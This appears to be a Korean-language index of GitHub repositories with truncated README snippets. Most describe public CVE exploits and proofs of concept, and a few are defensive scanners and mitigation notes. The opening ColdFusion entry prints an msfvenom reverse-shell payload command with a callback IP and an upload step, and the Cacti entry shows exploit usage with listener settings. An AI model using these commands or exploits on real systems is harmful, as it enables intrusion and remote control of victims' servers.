CVE-2009-2265

버전: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 예시 :...

ccs

코드 자격 증명 스캐너 이 스크립트는 대규모의 다양한 코드베이스에 대해 하드 코딩된 자격 증명 또는 구성 파일에 존재하는 자격 증명을 스캔하기 위한 것입니다. 이러한 자격 증명은 심각한 보안 문제를 나타내며, 탐지하고 관리하기가 매우 어려울 수 있습니다. 이 스크립트의 구체적인 초점은 CI/CD 파이프라인에서 개발 팀이 직접 사용할 수 있는 도구를 만들어, 코드에 자격 증명이 존재할 때 팀에 경고함으로써 이 문제에 대한 수정 프로세스를 관리하고, 팀이 문제가 발생하면 즉시 해결할 수 있도록 하는 것입니다. 이 도구를 특정 시점...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: ServiceDesk Plus의 SAML 로그인 중 발생하는 인증 우회 취약점입니다. ManageEngine에 설명된 대로. 대상 ServiceDesk Plus11134 설치본에서 SAML 로그인이 활성화되어 있고 낮은 권한 사용자의 자격 증명을 보유하고 있다면 관리자로 권한을 상승시켜 RCE를 획득할 수 있습니다. 이 취약점을 악용하는 데 대한 공개 익스플로잇이나 자세한 설명이 없어 이 POC를 공개하기로 결정했습니다. 코드는 다소 지저분하지만 동작합니...

CVE-2017-12617

CVE-2017-12617 소수의 사람들의 아이디어를 모아 만든 코드입니다. 크레딧은 제공되었으며, 악의적으로 사용하지 말아주세요...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce spring cloud function 원클릭 활용 도구! by charis 블로그 https://charis3306.top/ exe 파일로 패키징되어 바로 사용 가능 명령어 주제 usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT --proxies PROXIES --cmd CMD spring cloud functio...

struts_rest_rce_fuzz-CVE-2017-9805-

이 저장소에는 README가 없습니다...

CVE-2022-1329

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 원격 코드 실행 날짜: 2023년 4월 16일 공격자: Việt Hùng https://github.com/phanthibichtram12 공급자 홈페이지: https://elementor.com/ 소프트웨어 링크: https://wordpress.org/plugins/elementor/advanced/ 아래로 스크롤하여 버전 선택 버전: 3.6.0, 3.6.1, 3.62 테스트 환경: WordPress 5.9.3 이 공격은 페이로드를 제공하지...

Writing-Sample-1

Log4j: CVE-2021-44228 Log4j 취약점 및 완화 조치 요약 목차 1. 요약 2. 취약한 엔드포인트 및 서비스 식별 3. 완화 조치 A. 경계Border에서 차단 B. 서버 엔드포인트에 엔드포인트 탐지 및 대응EDR 설치 C. 취약한 엔터프라이즈 애플리케이션을 F5 뒤에 배치 4. 리소스 및 추가 자료 요약 Log4j는 많은 Java 기반 애플리케이션에서 사용되는 로깅 도구입니다. 2021년 12월, Apache는 로깅 구성 파일을 수정할 권한이 있는 공격자가 악성 코드를 구성하고 실행할 수 있는 원격 코드...

Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 자동 셸 업로드 WordPress Royal Elementor 1.3.78 셸 업로드 방문 https://phankz.com...

CVE-2019-9766

CVE-2019-9766 Free MP3 CD Ripper 2.6 버전에 존재하는 버퍼 오버플로 취약점을 이용하여 특수하게 조작된 MP3 파일을 생성합니다. 공격자가 플레이어로 해당 파일을 재생할 때, 오디오 파일 미끼가 버퍼 오버플로 취약점을 이용해 임의 코드를 실행합니다. 재현 공격 머신: kali201903 192.168.198.142 피해 머신: windows10 21H1 192.168.198.137 피해 머신에 Free MP3 CD Ripper 2.6을 설치한 후, kali 머신에서 MSF를 이용하여 리버스 연결 셸코...

Oracle-WebLogic-CVE-2017-10271

Oracle-WebLogic-CVE-2017-10271 WebLogic wls-wsat RCE CVE-2017-10271 취약점 설명 초기에 해커들은 WebLogic WLS 구성 요소 취약점을 이용하여 대규모 원격 공격을 기업 서버에 가했습니다. 많은 기업의 서버가 침해되었으며, 공격을 받은 기업 수가 현저히 증가하는 추세를 보여 큰 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 제로데이 취약점이며, 많은...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons, 버전 1.13부터 1.13.10, 2.0부터 2.0.5, 그리고 지원이 종료된 이전 버전들은 특수 요소를 적절히 무력화하지 않아 발생하는 속성 바인더 취약점을 포함하고 있습니다. 인증되지 않은 원격 악성 사용자또는 공격자는 Spring Data REST 백엔드 HTTP 리소스에 대해 특수하게 조작된 요청 파라미터를 제공하거나 Spring Data의 프로젝션 기반 요청 페이로드 바인딩을 사용하여 원격 코드 실행 공격을 수행할 수 있습니다. 자세한 정보는 여기를...

CVE-2023-6634

CVE-2023-6634 익스플로잇 스크립트 설명 이 저장소는 WordPress용 LearnPress 플러그인버전 4.2.5.7 이하에서 발견된 CVE-2023-6634 취약점을 악용하도록 설계된 Python 스크립트를 포함합니다. 이 취약점은 loadcontentviaajax 함수의 부적절한 입력 검증으로 인해 원격 코드 실행RCE을 허용합니다. 면책 조항 이 도구는 교육 목적과 공인된 모의 침투 테스트 용도로만 제공됩니다. 명시적 허가 없이 시스템에 이 도구를 사용하는 것은 불법이며 비윤리적입니다. 이 도구를 다운로드하거나...

TrojanSourceFinder

TrojanSourceFinder TrojanSourceFinder는 개발자가 소스 코드에서 "Trojan Source" 취약점을 탐지할 수 있도록 도와줍니다. Trojan Source 취약점은 공격자가 악성 코드를 무해한 것처럼 보이게 할 수 있습니다. 일반적으로 공격자는 자신의 코드를 시각적으로 주석으로 위장하여 유인합니다. 이는 많은 언어에 영향을 미치기 때문에 심각한 위협입니다. 여러 '신뢰할 수 없는' 소스가 있는 프로젝트가 영향을 받을 수 있습니다. 악성 코드 탐지 🔎 · 악성 코드 추적 👀 · Trojan Sour...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 이 익스플로잇은 @FredBrave의 원본 스크립트에서 수정된 버전이며, @arthurcortesr와 @alv-david에 의해 각색되었습니다. 사용법/예제 python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 예상 결과 Testing hostid=X, localdataid=XX... + Found working combination: hostid=X,...

CVE-2025-1974-poc

POC of IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 Developed from: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Thanks 사용 설명 forward the admission webhook kubectl port-forwa...

CVE-2025-45466

CVE-2025-45466 CVE-2025-45466의 세부 정보입니다. CVE 공개: CVE-2025-45466 요약 Unitree Go1 로봇 개모든 버전 하드코딩된 비밀번호 사용 4. 루트 권한으로 원하는 모든 작업 수행 결과 아래 스크린샷과 같이, 루트 접근 비밀번호가 passwd.sh에 저장되어 있습니다그림 1. 이 파일은 동일한 패키지에서 확인할 수 있습니다그림 2 그림 1: 그림 2:...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC 탐지 도구 이 스크립트는 root 권한을 가진 사용자가 F5 BIG-IP의 Advanced Shellbash에서 로컬로 실행하도록 설계되었으며, 다른 환경에서 실행하기 위한 것이 아닙니다. 참고: Appliance Mode에서는 Advanced Shell에 접근할 수 없으므로 이 도구는 해당 시스템에서 실행할 수 없습니다. 이 스크립트는 작성 당시 F5 Networks에 알려진 CVE-2020-5902와 관련된 침해 지표IoCs에 대해 BIG-IP를 검사합니다. 스크립트는 이러한 IoC를 수집하...

hack-winrar

hack-winrar WinRar은 Windows에서 매우 널리 알려진 소프트웨어입니다. 이전 버전의 WinRaR에는 2019년 2월에 패치된 취약점이 있었습니다. 대부분의 사용자가 WinRar을 업데이트하지 않아 이 절대 경로 탐색Absolute Path Traversal 버그 CVE-2018-20250에 여전히 취약합니다. Winrar에서 코드 실행 추출을 위한 exp입니다. poc - Ridter 작성 사용 방법은? Python 3.7을 설치하고, 실행하려는 악성 파일을 준비한 다음, 원하는 값을 설정하기만 하면 됩니다...

CVE-2022-22963-POC

CVE-2022-22963 익스플로잇 설명 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원이 종료된 이전 버전에서 라우팅 기능을 사용할 때 특별히 조작된 SpEL을 routing-expression으로 제공하면 원격 코드 실행 및 로컬 리소스 접근이 가능해집니다. 자세한 내용은 CVE-2022-22963 상세 정보에서 확인할 수 있습니다. AayushmanThapaMagar가 제공한 PoC를 기반으로, 취약한 서버에서 리버스 셸을 획득하기 위한 간단한 익스플로잇을 만들고 있습니다. 이 프로젝트의 목...